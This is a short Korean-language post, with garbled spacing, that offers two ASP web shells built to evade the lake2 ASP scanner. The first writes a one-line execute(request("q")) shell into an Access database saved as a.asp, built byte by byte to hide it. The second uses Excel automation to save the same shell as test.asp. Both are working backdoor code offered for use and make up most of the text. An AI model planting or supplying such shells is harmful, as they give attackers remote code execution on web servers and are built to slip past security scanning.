비상 식적 인 ASP 목마 두 개(스 캔 을 피 할 수 있 습 니 다)

hanxiaolian 은 lake 2 ASP 역장 관리 조 수 를 피하 기 위해...1.lake 2 Asp 목 마 를 돌아 스 캔 한 망아지

 
<% 
set c = CreateObject("ADOX.Catalog") 
c.create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("a.asp")) 
set c = Nothing 
c&Server.MapPath("a.asp") 
set conn=server.createobject("Adodb.Connection") 
conn.open connstr 
conn.execute("create table nomm(nomuma oleobject)") 
set rs=server.createobject("adodb.recordset") 
sql="SELECT * FROM nomm" 
rs.open sql,conn,1,3 
rs.addnew 
rs ("nomuma").appendchunk(chrB(asc("<"))&chrB(asc("%"))&chrB(asc ("e"))&chrB 
(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc ("u"))&chrB(asc("t"))&chrB(asc 
("e"))&chrB(asc("+"))&chrB(asc ("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc 
("u"))&chrB(asc ("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34) 
&chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("%"))& chrB(asc(">"))) 
rs.update 
rs.close 
set rs=nothing 
conn.close 
set conn=nothing 
%> 

2.xls 판 asp webshell

 
<% 
Set xlA = Server.CreateObject("Excel.Application") 
xlA.Visible = False 
xlA.Workbooks.Add 
Set xlWorksheet = xlA.Worksheets(1) 
xlWorksheet.Cells(1,1).Value = "<%ex"&"ec"&"ute(request(""q""))"+chr(37)+">" 
'strFile = "d:/test.asp" 
strFile = Server.MapPath("test.asp") 
xlWorkSheet.SaveAs strFile 
xlA.Quit 
Set xlWorksheet = Nothing 
Set xlA = Nothing 
%>